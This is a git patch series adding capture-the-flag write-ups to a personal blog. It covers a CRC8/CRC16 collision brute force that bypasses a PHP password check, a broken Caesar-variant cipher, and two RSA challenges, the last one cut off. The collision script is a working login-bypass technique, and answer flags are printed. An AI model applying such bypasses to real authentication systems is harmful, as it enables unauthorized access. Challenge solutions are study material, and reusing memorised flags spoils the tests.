Problem Summary - +### Problem Summary + > Dr. Evil wants to play a game and he demands one ~~million~~ billion shitcoins for the flag. > >
From e87090b9de5f5ddc466ed1fb0b1ab85167c3b364 Mon Sep 17 00:00:00 2001 From: Jeffrey Hu Date: Sun, 2 Feb 2025 06:14:12 -0600 Subject: [PATCH 08/21] nullcongoahackim2025ctf-crahp --- .../css/styles.css | 4 + .../nullcongoahackim2025ctf-crahp/index.mdx | 78 +++++++++++++++++++ 2 files changed, 82 insertions(+) create mode 100644 src/content/blog/nullcongoahackim2025ctf-crahp/css/styles.css create mode 100644 src/content/blog/nullcongoahackim2025ctf-crahp/index.mdx diff --git a/src/content/blog/nullcongoahackim2025ctf-crahp/css/styles.css b/src/content/blog/nullcongoahackim2025ctf-crahp/css/styles.css new file mode 100644 index 0000000..a0906a7 --- /dev/null +++ b/src/content/blog/nullcongoahackim2025ctf-crahp/css/styles.css @@ -0,0 +1,4 @@ +code { + color: #e685b5; + word-wrap: break-word; +} diff --git a/src/content/blog/nullcongoahackim2025ctf-crahp/index.mdx b/src/content/blog/nullcongoahackim2025ctf-crahp/index.mdx new file mode 100644 index 0000000..a270bd8 --- /dev/null +++ b/src/content/blog/nullcongoahackim2025ctf-crahp/index.mdx @@ -0,0 +1,78 @@ +--- +title: "Nullcon Goa HackIM 2025 CTF Crahp" +date: 2025-02-02T12:13:04.998Z +draft: false +author: dajeff +tags: [web] +--- + +import css from "css/styles.css?url"; + + + +> Oh Crahp, I forgot my credentials! Can you login nontheless? +> +> Author: @gehaxelt +> +> http://52.59.124.14:5006 + +The source at http://52.59.124.14:5006/?source indicates that our goal is to find a password that is not equal to `$MYPASSWORD = "AdM1nP@assW0rd!"` yet has the same length, `crc16`, and `crc8` checksum. + +```php +$MYPASSWORD = "AdM1nP@assW0rd!"; +include "flag.php"; + +if(isset($_POST['password']) && strlen($MYPASSWORD) == strlen($_POST['password'])) { + $pwhash1 = crc16($MYPASSWORD); + $pwhash2 = crc8($MYPASSWORD); + + $password = $_POST['password']; + $pwhash3 = crc16($password); + $pwhash4 = crc8($password); + + if($MYPASSWORD == $password) { + die("oops. Try harder!"); + } + if($pwhash1 != $pwhash3) { + die("Oops. Nope. Try harder!"); + } + if($pwhash2 != $pwhash4) { + die("OoOps. Not quite. Try harder!"); + } + $access = true; + + if($access) { + echo "You win a flag: $FLAG"; + } else { + echo "Denied! :-("; + } +} else { + echo "Try harder!"; +} +``` + +`crc8` and `crc16` produce 8-bit and 16-bit checksums respectively, which we can verify by checking `crc8("AdM1nP@assW0rd!")` and `crc16("AdM1nP@assW0rd!")`. +```php +$c8 = crc8("AdM1nP@assW0rd!"); +$c16 = crc16("AdM1nP@assW0rd!"); +echo $c8; // 167 +echo "\n"; +echo $c16; // 25010 +echo "\n"; +``` + +We should therefore expect to test around `(2 ** 8) * (2 ** 16) = 16777216` strings before we find a collision, which is brute-forceable. +```php +$c8 = crc8("AdM1nP@assW0rd!"); +$c16 = crc16("AdM1nP@assW0rd!"); +for ($x = 100000010000000; $x <= 100000000000000 + 1e8; $x++) { + if (crc8(strval($x)) == $c8 && crc16(strval($x)) == $c16) { + echo strval($x); + echo "\n"; + } +} +``` + +Submitting `100000010130312` to the website yields the flag. + +Flag: `ENO{Cr4hP_CRC_Collison_1N_P@ssw0rds!}` From 5a3633fdbe4d191f2bced120a1db6920bed901ce Mon Sep 17 00:00:00 2001 From: Jeffrey Hu Date: Mon, 3 Feb 2025 01:48:58 -0600 Subject: [PATCH 09/21] nullcongoahackim2025ctf-many-caesars --- .../chall.py | 25 +++++ .../css/styles.css | 4 + .../index.mdx | 93 +++++++++++++++++++ .../output.txt | 1 + 4 files changed, 123 insertions(+) create mode 100644 src/content/blog/nullcongoahackim2025ctf-many-caesars/chall.py create mode 100644 src/content/blog/nullcongoahackim2025ctf-many-caesars/css/styles.css create mode 100644 src/content/blog/nullcongoahackim2025ctf-many-caesars/index.mdx create mode 100644 src/content/blog/nullcongoahackim2025ctf-many-caesars/output.txt diff --git a/src/content/blog/nullcongoahackim2025ctf-many-caesars/chall.py b/src/content/blog/nullcongoahackim2025ctf-many-caesars/chall.py new file mode 100644 index 0000000..373ee81 --- /dev/null +++ b/src/content/blog/nullcongoahackim2025ctf-many-caesars/chall.py @@ -0,0 +1,25 @@ +import string +import re + +text = open('text.txt','r').read().lower() +flag = open('flag.txt','r').read().strip()[4:-1].replace('_','+') +chars = string.ascii_letters + string.digits + '+/=' +regex = re.compile('[' + chars + ']{5,70}') +assert re.fullmatch(regex, flag) + +def caesar(msg, shift): + return ''.join(chars[(chars.index(c) + shift) % len(chars)] for c in msg) + +i = 0 +count = 0 +while i < len(text): + if text[i] not in string.ascii_lowercase: + print(text[i], end = '') + i += 1 + else: + j = i + while text[j] in string.ascii_lowercase: j += 1 + print(caesar(text[i:j], chars.index(flag[count % len(flag)])), end = '') + count += 1 + i = j + diff --git a/src/content/blog/nullcongoahackim2025ctf-many-caesars/css/styles.css b/src/content/blog/nullcongoahackim2025ctf-many-caesars/css/styles.css new file mode 100644 index 0000000..a0906a7 --- /dev/null +++ b/src/content/blog/nullcongoahackim2025ctf-many-caesars/css/styles.css @@ -0,0 +1,4 @@ +code { + color: #e685b5; + word-wrap: break-word; +} diff --git a/src/content/blog/nullcongoahackim2025ctf-many-caesars/index.mdx b/src/content/blog/nullcongoahackim2025ctf-many-caesars/index.mdx new file mode 100644 index 0000000..82213ec --- /dev/null +++ b/src/content/blog/nullcongoahackim2025ctf-many-caesars/index.mdx @@ -0,0 +1,93 @@ +--- +title: "Nullcon Goa HackIM 2025 CTF many caesars" +date: 2025-02-03T07:43:39.112Z +draft: false +author: dajeff +tags: [crypto] +--- + +import css from "css/styles.css?url"; +import chall from "./chall.py?url"; +import output from "./output.txt?url"; + + + +> I took an old cipher and modified it to make it secure again. By breaking the regular patterns I made sure the known attacks don't work. Now I can use it to encrypt texts with my favourite Chat partner. +>
+>
+> chall.py +>
+>
+> output.txt +>
+>
+ +Inspecting chall.py and running it with a custom `text.txt` and `flag.txt`, we see that every token (substring of lowercase characters separated by spaces) is Caesar shifted by an amount to produce output.txt. Specifically, the `count`th token is shifted by `chars.index(flag[count % len(flag)])` for all tokens. We annotate the code below. +```py +def caesar(msg, shift): + return ''.join(chars[(chars.index(c) + shift) % len(chars)] for c in msg) + +i = 0 +count = 0 +while i < len(text): + if text[i] not in string.ascii_lowercase: + print(text[i], end = '') + i += 1 + else: + # Get the next token + j = i + while text[j] in string.ascii_lowercase: j += 1 + + # Shift the token text[i:j] + print(caesar(text[i:j], chars.index(flag[count % len(flag)])), end = '') + count += 1 + i = j +``` + +Since each token is Caesar ciphered, we can recover each token by checking all possible `len(chars) = 65` possible keys for each individual token and seeing which keys yields alphabetic English words. + +For example, trying all shifts for the first token `AtvDxK` in output.txt yields the alphabetic plaintext : key pairs +``` +piksmz : l +ohjrly : m +ngiqkx : n +mfhpjw : o +legoiv : p +kdfnhu : q +jcemgt : r +ibdlfs : s +hacker : t +``` +Clearly, the first word of the decrypted output.txt is `hacker`, meaning the first character of the flag is `t`. + +Running the following script to list the possible plaintext : key pairs and manually choosing the English words as well as corresponding keys yields the flag when concatenating all the keys together. +```py +import string + +text = "AtvDxK lAopjz /i + vhw c6 uwnshnuqjx ymfy kymhi Kyv 47+3l/eh Bs kpfkxkfwcnu Als 9phdgj9 +ka ymzuBGxmFq 6fdglk8i CICDowC, sjxir bjme+pfwfkd 6li=fj=kp, nCplEtGtEJ, lyo qeb INKLNBM vm ademb7697. ollqba lq DitCmA xzhm fx ef7dd7ii, wIvv eggiww GB kphqtocvkqp, 3d6 MAx ilsplm /d rpfkd vnloov hc nruwtAj xDxyjrx vexliv KyrE +3hc Gurz, jcemgt ixlmgw 9f7gmj5/9k obpmlkpf/ib mzp 8k/=64c ECo sj qb=eklildv. =k loGznlEpD qzC qo+kpm+obk=v, vHEEtuHKtMBHG, huk h7if75j/d9 mofs+=v, zkloh lqAkwCzioqvo rfqnhntzx fhynAnynjx b/a7 JKvrCzEx hexe BE ecwukpi 63c397. MAxLx wypujpwslz 3/c ql irvwhu 9bbcj1h9cb fsi f tswmxmzi zDGrtK ed FBpvrGL vjtqwij ixlmgep 5f8 =lkpqor=qfsb tmowuzs." + +chars = string.ascii_letters + string.digits + '+/=' + + +def caesar(msg, shift): + return ''.join(chars[(chars.index(c) - shift) % len(chars)] for c in msg) + + +i = 0 +count = 0 +while i < len(text): + if text[i] not in chars: + i += 1 + else: + j = i + while j < len(text) and text[j] in chars: j += 1 + for k in range(len(chars)): + word = caesar(text[i:j], k) + if word.isalpha() and word.islower(): + print(word, ":", chars[k]) + print() + count += 1 + i = j +``` + +Flag: `ENO{th3_d1ffer3nce5_m4ke_4ll_th3_diff3renc3}` diff --git a/src/content/blog/nullcongoahackim2025ctf-many-caesars/output.txt b/src/content/blog/nullcongoahackim2025ctf-many-caesars/output.txt new file mode 100644 index 0000000..d0f024e --- /dev/null +++ b/src/content/blog/nullcongoahackim2025ctf-many-caesars/output.txt @@ -0,0 +1 @@ +AtvDxK lAopjz /i + vhw c6 uwnshnuqjx ymfy kymhi Kyv 47+3l/eh Bs kpfkxkfwcnu Als 9phdgj9 +ka ymzuBGxmFq 6fdglk8i CICDowC, sjxir bjme+pfwfkd 6li=fj=kp, nCplEtGtEJ, lyo qeb INKLNBM vm ademb7697. ollqba lq DitCmA xzhm fx ef7dd7ii, wIvv eggiww GB kphqtocvkqp, 3d6 MAx ilsplm /d rpfkd vnloov hc nruwtAj xDxyjrx vexliv KyrE +3hc Gurz, jcemgt ixlmgw 9f7gmj5/9k obpmlkpf/ib mzp 8k/=64c ECo sj qb=eklildv. =k loGznlEpD qzC qo+kpm+obk=v, vHEEtuHKtMBHG, huk h7if75j/d9 mofs+=v, zkloh lqAkwCzioqvo rfqnhntzx fhynAnynjx b/a7 JKvrCzEx hexe BE ecwukpi 63c397. MAxLx wypujpwslz 3/c ql irvwhu 9bbcj1h9cb fsi f tswmxmzi zDGrtK ed FBpvrGL vjtqwij ixlmgep 5f8 =lkpqor=qfsb tmowuzs. From bd0a893eb77acd2aca8872e077a3cdf4d244ff00 Mon Sep 17 00:00:00 2001 From: Jeffrey Hu Date: Mon, 3 Feb 2025 01:58:05 -0600 Subject: [PATCH 10/21] nullcongoahackim2025ctf-many-caesars update heading --- .../blog/nullcongoahackim2025ctf-many-caesars/index.mdx | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/src/content/blog/nullcongoahackim2025ctf-many-caesars/index.mdx b/src/content/blog/nullcongoahackim2025ctf-many-caesars/index.mdx index 82213ec..c164f8a 100644 --- a/src/content/blog/nullcongoahackim2025ctf-many-caesars/index.mdx +++ b/src/content/blog/nullcongoahackim2025ctf-many-caesars/index.mdx @@ -1,9 +1,10 @@ --- -title: "Nullcon Goa HackIM 2025 CTF many caesars" -date: 2025-02-03T07:43:39.112Z +title: "Nullcon Goa HackIM 2025 CTF: many caesars" +date: 2025-02-03T07:57:26.242Z draft: false author: dajeff tags: [crypto] +ctf_id: ctftime-2642 --- import css from "css/styles.css?url"; From 2df6e41dcb2147c52b6a85fc909c692adeaefb8d Mon Sep 17 00:00:00 2001 From: Jeffrey Hu Date: Mon, 10 Feb 2025 07:49:05 -0600 Subject: [PATCH 11/21] bitsctf2025-rsa-bummer draft --- .../blog/bitsctf2025-rsa-bummer/chall.py | 54 ++++++ .../bitsctf2025-rsa-bummer/css/styles.css | 4 + .../blog/bitsctf2025-rsa-bummer/index.mdx | 175 ++++++++++++++++++ 3 files changed, 233 insertions(+) create mode 100644 src/content/blog/bitsctf2025-rsa-bummer/chall.py create mode 100644 src/content/blog/bitsctf2025-rsa-bummer/css/styles.css create mode 100644 src/content/blog/bitsctf2025-rsa-bummer/index.mdx diff --git a/src/content/blog/bitsctf2025-rsa-bummer/chall.py b/src/content/blog/bitsctf2025-rsa-bummer/chall.py new file mode 100644 index 0000000..13419f6 --- /dev/null +++ b/src/content/blog/bitsctf2025-rsa-bummer/chall.py @@ -0,0 +1,54 @@ +#!/usr/bin/env python3 +from Crypto.Util.number import * +from Secrets import FLAG + +def lmao(n,k,x): #Better function needed + pseudo_p = 1 + for i in range(2,k*n-x): + try: + if (GCD(i,n-1)^(n-1)!=0): + pseudo_p = (pseudo_p*inverse(i,n))%n + except: + continue + return inverse(pseudo_p,n) + +e = 27525540 + +while True: + p = getPrime(1024) + if (((15-GCD(e,(p-1)))>>(31))==0): + break +q = getPrime(1024) +r = getPrime(1024) + +modulo = p*r +pseudo_n = r*(pow(e,p,q)) +multiplier = getPrime(4) + +flag = bytes(FLAG) + +print("Pseudo_n = ", pseudo_n) +print("e = ", e) + +for i in range(3): + pt = flag [ i*len(flag)//3 : (i+1)*len(flag)//3 ] + ct = pow(bytes_to_long(pt),e,(p*q)) + print(f"Ciphertext {i+1} =", ct) + + +for i in range(5): + x = input("Enter your lucky number : ") + try: + x = int(x) + + except: + print("Not an integer") + continue + + if((x<=23)&(x>=3)): + print("Your lucky output : ", lmao(modulo,multiplier,x)) + else: + print("Not your lucky day, sad.") + print("--------------------------------------") + +print("Bye!!") \ No newline at end of file diff --git a/src/content/blog/bitsctf2025-rsa-bummer/css/styles.css b/src/content/blog/bitsctf2025-rsa-bummer/css/styles.css new file mode 100644 index 0000000..d1214b5 --- /dev/null +++ b/src/content/blog/bitsctf2025-rsa-bummer/css/styles.css @@ -0,0 +1,4 @@ +code { + color: #e83e8c; + word-wrap: break-word; +} diff --git a/src/content/blog/bitsctf2025-rsa-bummer/index.mdx b/src/content/blog/bitsctf2025-rsa-bummer/index.mdx new file mode 100644 index 0000000..db4c2d6 --- /dev/null +++ b/src/content/blog/bitsctf2025-rsa-bummer/index.mdx @@ -0,0 +1,175 @@ +--- +title: "BITSCTF 2025: RSA Bummer" +date: 2025-02-02T11:56:00.487Z +draft: true +author: dajeff +tags: [crypto] +--- + +import css from "css/styles.css?url"; +import chall from "./chall.py?url"; + + + + + + +### Problem Summary + +> RSA was bad as it was, but now it has gone to dogs! +> +> Wrap the flag inside BITSCTF\{..\}. +> +> `nc chals.bitskrieg.in 7001` +> +> > Metapod_04 +> +> chall.py + +chall.py starts by defining a function `lmao` (shown later in this writeup) and variables `e, p, q, r, modulo, pseudo_n, multiplier, flag`. +```py +e = 27525540 + +while True: + p = getPrime(1024) + if (((15-GCD(e,(p-1)))>>(31))==0): + break +q = getPrime(1024) +r = getPrime(1024) + +modulo = p*r +pseudo_n = r*(pow(e,p,q)) +multiplier = getPrime(4) + +flag = bytes(FLAG) +``` + +Notably, \\(e = 2^2\cdot 3\cdot 5\cdot 7\cdot 65537\\) and `multiplier` is a 4-bit prime, which is small. + +We are given `pseudo_n, e` as well as a version of the flag, which is broken into three parts and encrypted with RSA. +```py +print("Pseudo_n = ", pseudo_n) +print("e = ", e) + +for i in range(3): + pt = flag [ i*len(flag)//3 : (i+1)*len(flag)//3 ] + ct = pow(bytes_to_long(pt),e,(p*q)) + print(f"Ciphertext {i+1} =", ct) +``` + +We then have five chances to enter an integer `x` such that `3 <= x <= 23`. The server then outputs a result equivalent to that of `lmao(modulo,multiplier,x)`. +```py +def lmao(n,k,x): #Better function needed + pseudo_p = 1 + for i in range(2,k*n-x): + try: + if (GCD(i,n-1)^(n-1)!=0): + pseudo_p = (pseudo_p*inverse(i,n))%n + except: + continue + return inverse(pseudo_p,n) +``` + +Our goal is to recover the flag from the ciphertexts. + +### Solution + +`lmao` looks a bit strange, so let's clean it up a bit. The condition `GCD(i,n-1)^(n-1)!=0` is equivalent to `GCD(i, n - 1) != n - 1` (due to properties of XOR), which is in turn equivalent to `i % (n - 1) != 0` (since \\(\gcd(i, n - 1) = n - 1\Longleftrightarrow n - 1\mid i\\)). + +Moreover, an exception will only be thrown from `inverse(i, n)`, under the condition that `i` does not have an inverse modulo `n`, i.e. \\(\gcd(i, n) \neq 1\\). Thus, we only take the product for `i` such that \\(\gcd(i, n) = 1\\). + +Finally, after we compute `pseudo_p`, which is a product of inverses \\(i^\{-1\}\bmod n\\), we take the inverse of the whole product again, meaning `pseudo_p` is effectively just a product of \\(i\bmod n\\) (since the inverses cancel out). + +Cleaning up, `lmao` produces the same output as +```py +def lmao(n, k, x): + pseudo_p = 1 + for i in range(2, k * n - x): + if i % (n - 1) != 0 and GCD(i, n) == 1: + pseudo_p = (pseudo_p * i) % n + return pseudo_p +``` + +We may notice something special might happen when `x` is around `k`, as the condition `i % (n - 1) != 0` is false when `i == k * n - k`. Let's formalize it. + +In mathematical notation, we'll write +\\[\operatorname\{lmao\}(n, k, x) := \left(\prod_\{\substack\{i=2,\\\\n-1\nmid i,\\\\\gcd(i,n)=1\}\}^\{kn-x-1\} i\right) \bmod n\\] +in reference to how `lmao` does this product. + +Observe that +\\[\begin\{align*\} + \operatorname\{lmao\}(n, k, k - 1) &= \left(\prod_\{\substack\{i=2,\\\\n-1\nmid i,\\\\\gcd(i,n)=1\}\}^\{kn-k\} i\right) \bmod n + \\\\ &= \left(\prod_\{\substack\{i=2,\\\\n-1\nmid i,\\\\\gcd(i,n)=1\}\}^\{kn-k-1\} i\right) \bmod n + \\\\ &= \operatorname\{lmao\}(n, k, k) +\end\{align*\}\\] +since \\(n - 1\mid kn - k\\), meaning it is not included in the product. Also recall that the server returns the value of `lmao(modulo,multiplier,x)` (we'll use \\(k = \mathrm\{multiplier\}\\) from here on out). Since `multiplier` is a 4-bit prime (i.e. it is either \\(11\\) or \\(13\\)), we can determine the value of `multiplier` by sending \\(x = 10, 11, 12, 13\\). If the return values for \\(x = 10, 11\\) are the same, then \\(k = 11\\) by the above equation; otherwise \\(k = 13\\). + +Now that we know the value of \\(k\\), let's do some more analysis on \\(\operatorname\{lmao\}(n, k, k - 1)\\). The set of \\(i\\) such that \\(\gcd(i, n) = 1\\) (i.e. the multiplicative inverse of \\(i\\) exists) called the set of units, is special, and is well studied. We may notice that there is a sort of cyclic nature in the product (e.g. the product is essentially a product of \\(k\\) sets of units, minus a few elements), so we'll focus on the product of these units. + +[Wilson's Theorem](https://en.wikipedia.org/wiki/Wilson%27s_theorem) states that for all primes \\(p\\), we have that the product of all units \\((p - 1)!\\) satisfies \\((p - 1)!\equiv -1\pmod p\\). The proof is that all units come in multiplicative inverse pairs that will cancel out in the product except for the units \\(u\\) that are their own mulitplicative inverse, i.e. +\\[\begin\{align*\} + u&\equiv u^\{-1\}\pmod p + \\\\ u^2&\equiv 1\pmod p + \\\\ u^2 - 1&\equiv 0\pmod p + \\\\ u&\equiv -1, 1\pmod p, +\end\{align*\}\\] +where the last step comes from a famous result in field theory that states that a polynomial of degree \\(d\\) modulo a prime \\(p\\) as at most \\(d\\) roots. Thus, the product of all units is \\(-1\cdot 1 = -1\\). + +The product of units for semiprime \\(n = p\cdot r\\), such as the `modulo = p * r` used as input in the challenge, is slightly different, as we cannot directly apply the previously mentioned result from field theory. Instead, all units come in multiplicative inverse pairs except for the units \\(u\\) that satisfy +\\[\begin\{align*\} + u&\equiv u^\{-1\}\pmod n + \\\\ u^2 - 1&\equiv 0\pmod n +\end\{align*\}\\] +\\[\begin\{align*\} + u^2 - 1&\equiv 0\pmod p & u^2 - 1&\equiv 0\pmod q + \\\\ u&\equiv -1, 1\pmod p & u&\equiv -1, 1\pmod q +\end\{align*\}\\] +by the Chinese Remainder Theorem. Thus, there are \\(2\cdot 2 = 4\\) units whose inverse is themselves, namely \\(u_1, u_2, u_3, u_4\\) that satisfy +\\[\begin\{align*\} + u_0&\equiv -1\pmod p & u_0&\equiv -1\pmod q + \\\\ u_1&\equiv -1\pmod p & u_1&\equiv 1\pmod q + \\\\ u_2&\equiv 1\pmod p & u_2&\equiv -1\pmod q + \\\\ u_3&\equiv 1\pmod p & u_3&\equiv 1\pmod q. +\end\{align*\}\\] +The product of these units is +\\[(-1)(-1)\cdot 1\cdot 1 \equiv 1\pmod p\\] +and +\\[(-1)\cdot 1\cdot(-1)\cdot 1 \equiv 1\pmod q,\\] +so by the Chinese Remainder Theorem, the product is \\(1\\) modulo \\(n\\). + +Continuing with our analysis of `lmao` to account for this, we have +\\[\begin\{align*\} + \prod_\{\substack\{i=2,\\\\n-1\nmid i,\\\\\gcd(i,n)=1\}\}^\{kn-k\} i &\equiv \left(\prod_\{\substack\{i=2,\\\\\gcd(i,n)=1\}\}^\{kn-k\} i\right)\left(\prod_\{\substack\{i=2,\\\\n - 1\mid i\}\}^\{kn-k\} i\right)^\{-1\} \pmod n + \\\\ &\equiv \left(\prod_\{\substack\{i=2,\\\\\gcd(i,n)=1\}\}^\{kn-k\} i\right)((n - 1)(2n - 2)\cdots (kn - k))^\{-1\} \pmod n + \\\\ &\equiv \left(\prod_\{\substack\{i=2,\\\\\gcd(i,n)=1\}\}^\{kn-k\} i\right)((n - 1)^k\cdot k!)^\{-1\} \pmod n + \\\\ &\equiv \left(\prod_\{\substack\{i=2,\\\\\gcd(i,n)=1\}\}^\{kn-k\} i\right)((-1)^k\cdot k!)^\{-1\} \pmod n + \\\\ &\equiv \left(\prod_\{\substack\{i=2,\\\\\gcd(i,n)=1\}\}^\{kn\} i\right)\left(\prod_\{\substack\{i=kn-k+1,\\\\\gcd(i,n)=1\}\}^\{kn\} i\right)^\{-1\}((-1)^k\cdot k!)^\{-1\} \pmod n + \\\\ &\equiv \left(\prod_\{\substack\{i=2,\\\\\gcd(i,n)=1\}\}^\{kn\} i\right)((kn - 1)(kn - 2)\cdots (kn - k + 1))^\{-1\}\cdot ((-1)^k\cdot k!)^\{-1\} \pmod n + \\\\ &\equiv \left(\prod_\{\substack\{i=2,\\\\\gcd(i,n)=1\}\}^\{kn\} i\right)((-1)(-2)\cdots (k - 1))^\{-1\}\cdot ((-1)^k\cdot k!)^\{-1\} \pmod n + \\\\ &\equiv \left(\prod_\{\substack\{i=2,\\\\\gcd(i,n)=1\}\}^\{kn\} i\right)((-1)^\{k-1\}(k - 1)!)^\{-1\}\cdot ((-1)^k\cdot k!)^\{-1\} \pmod n + \\\\ &\equiv \left(\prod_\{\substack\{i=2,\\\\\gcd(i,n)=1\}\}^\{kn\} i\right)(-(k - 1)!k!)^\{-1\} \pmod n + \\\\ &\equiv (-1)^k(-(k - 1)!k!)^\{-1\} \pmod n + \\\\ &\equiv ((k - 1)!k!)^\{-1\} \pmod n, +\end\{align*\}\\] +where the last line is justified since \\(k\\) is odd. + +### Note +The above is finished; the below is unfinished. Essentially, observe that for the above output `lucky`, `lucky * factorial(k - 1) * factorial(k) + 1` has `r` as a factor, so take `r = gcd(large, pseudo_n)`, find `modulo, p` by factoring `(lucky * factorial(k - 1) * factorial(k) + 1) / r`, and solve the RSA modulo `p`. + +Flag: `BITSCTF{s0_fun_7o_50lv3_5ef78a03}` From 6376e0f07c73b03edaebcce39b29b0f01563439b Mon Sep 17 00:00:00 2001 From: Jeffrey Hu Date: Mon, 10 Feb 2025 16:59:58 -0600 Subject: [PATCH 12/21] bitsctf2025-rsa-bummer flipped negative typo --- src/content/blog/bitsctf2025-rsa-bummer/index.mdx | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/src/content/blog/bitsctf2025-rsa-bummer/index.mdx b/src/content/blog/bitsctf2025-rsa-bummer/index.mdx index db4c2d6..7e07848 100644 --- a/src/content/blog/bitsctf2025-rsa-bummer/index.mdx +++ b/src/content/blog/bitsctf2025-rsa-bummer/index.mdx @@ -164,10 +164,8 @@ Continuing with our analysis of `lmao` to account for this, we have \\\\ &\equiv \left(\prod_\{\substack\{i=2,\\\\\gcd(i,n)=1\}\}^\{kn\} i\right)((-1)(-2)\cdots (k - 1))^\{-1\}\cdot ((-1)^k\cdot k!)^\{-1\} \pmod n \\\\ &\equiv \left(\prod_\{\substack\{i=2,\\\\\gcd(i,n)=1\}\}^\{kn\} i\right)((-1)^\{k-1\}(k - 1)!)^\{-1\}\cdot ((-1)^k\cdot k!)^\{-1\} \pmod n \\\\ &\equiv \left(\prod_\{\substack\{i=2,\\\\\gcd(i,n)=1\}\}^\{kn\} i\right)(-(k - 1)!k!)^\{-1\} \pmod n - \\\\ &\equiv (-1)^k(-(k - 1)!k!)^\{-1\} \pmod n - \\\\ &\equiv ((k - 1)!k!)^\{-1\} \pmod n, + \\\\ &\equiv (-(k - 1)!k!)^\{-1\} \pmod n, \end\{align*\}\\] -where the last line is justified since \\(k\\) is odd. ### Note The above is finished; the below is unfinished. Essentially, observe that for the above output `lucky`, `lucky * factorial(k - 1) * factorial(k) + 1` has `r` as a factor, so take `r = gcd(large, pseudo_n)`, find `modulo, p` by factoring `(lucky * factorial(k - 1) * factorial(k) + 1) / r`, and solve the RSA modulo `p`. From d038650e479ee1f451794f59be45f4c6e33ef118 Mon Sep 17 00:00:00 2001 From: Jeffrey Hu Date: Thu, 13 Feb 2025 15:31:46 -0600 Subject: [PATCH 13/21] bitsctf2025-noob-rsa-returns --- .../bitsctf2025-noob-rsa-returns/chall.txt | 4 ++ .../css/styles.css | 8 +++ .../bitsctf2025-noob-rsa-returns/encrypt.py | 27 ++++++++ .../bitsctf2025-noob-rsa-returns/index.mdx | 69 +++++++++++++++++++ .../bitsctf2025-noob-rsa-returns/solve.py | 19 +++++ 5 files changed, 127 insertions(+) create mode 100644 src/content/blog/bitsctf2025-noob-rsa-returns/chall.txt create mode 100644 src/content/blog/bitsctf2025-noob-rsa-returns/css/styles.css create mode 100644 src/content/blog/bitsctf2025-noob-rsa-returns/encrypt.py create mode 100644 src/content/blog/bitsctf2025-noob-rsa-returns/index.mdx create mode 100644 src/content/blog/bitsctf2025-noob-rsa-returns/solve.py diff --git a/src/content/blog/bitsctf2025-noob-rsa-returns/chall.txt b/src/content/blog/bitsctf2025-noob-rsa-returns/chall.txt new file mode 100644 index 0000000..ee5b9f4 --- /dev/null +++ b/src/content/blog/bitsctf2025-noob-rsa-returns/chall.txt @@ -0,0 +1,4 @@ +e = 65537 +n = 94391578028846794543970306963076155289398888845132329034244336898352288130614402434536624297683695128972774452047972797577299176726976054101512298009248486464357336027594075427866979990479026404794249095503495046303993475122649145761379383861274918580282133794104162177538259963029805672413580517485119968223 +ct = 39104570513649572073989733086496155533723794051858605899505397827989625611665929344072330992965609070817627613891751881019486310635360263164859429539044097039969287153948226763672953863052936937079161030077852648023719781006057880499973169570114083902285555659303311508836688226455433255342509705736365222119 +K = 20846957286553798859449981607534380028938425515469447720112802165918184044375264023823946177012518880630631981155207307372567493851397122661053548491580627249805353321445391571601385814438186661146844697737274273249806871709168307518276727937806212329164651501381607714573451433576078813716191884613278097774416977870414769368668977000867137595804897175325233583378535207450965916514442776136840826269286229146556626874736082105623962789881101475873449157946816513513532838149452759771630220014344325387486921028690085783785067988074331005737389865053848981113695310344572311901555735038842261745556925398852334383830822697851 \ No newline at end of file diff --git a/src/content/blog/bitsctf2025-noob-rsa-returns/css/styles.css b/src/content/blog/bitsctf2025-noob-rsa-returns/css/styles.css new file mode 100644 index 0000000..3313ba2 --- /dev/null +++ b/src/content/blog/bitsctf2025-noob-rsa-returns/css/styles.css @@ -0,0 +1,8 @@ +code { + color: #e83e8c; + word-wrap: break-word; +} + +.center { + text-align: center; +} diff --git a/src/content/blog/bitsctf2025-noob-rsa-returns/encrypt.py b/src/content/blog/bitsctf2025-noob-rsa-returns/encrypt.py new file mode 100644 index 0000000..bc9cda8 --- /dev/null +++ b/src/content/blog/bitsctf2025-noob-rsa-returns/encrypt.py @@ -0,0 +1,27 @@ +from Crypto.Util.number import getPrime, bytes_to_long + +def GenerateKeys(p, q): + e = 65537 + n = p * q + phi = (p-1)*(q-1) + d = pow(e, -1, phi) + C = 0xbaaaaaad + D = 0xdeadbeef + A= 0xbaadf00d + K = (A*p**2 - C*p + D)*d + return (e, n, K) + +def Encrypt(): + flag = b"REDACTED" # HEHEHEHEHE + p = getPrime(512) + q = getPrime(512) + e, n, K = GenerateKeys(p, q) + pt = bytes_to_long(flag) + ct = pow(pt, e, n) + + print(f"e = {e}") + print(f"n = {n}") + print(f"ct = {ct}") + print(f"K = {K}") + +Encrypt() diff --git a/src/content/blog/bitsctf2025-noob-rsa-returns/index.mdx b/src/content/blog/bitsctf2025-noob-rsa-returns/index.mdx new file mode 100644 index 0000000..9a803a7 --- /dev/null +++ b/src/content/blog/bitsctf2025-noob-rsa-returns/index.mdx @@ -0,0 +1,69 @@ +--- +title: "BITSCTF 2025: Noob RSA Returns" +date: 2025-02-13T21:30:56.748Z +draft: false +author: dajeff +tags: [crypto] +--- + +import css from "css/styles.css?url"; +import chall from "./chall.txt?url"; +import encrypt from "./encrypt.py?url"; +import solveScript from "./solve.py?url"; + + + + + + +### Problem Summary + +> break it this time +> +>
+> chall.txt +>
+>
+> encrypt.py +>
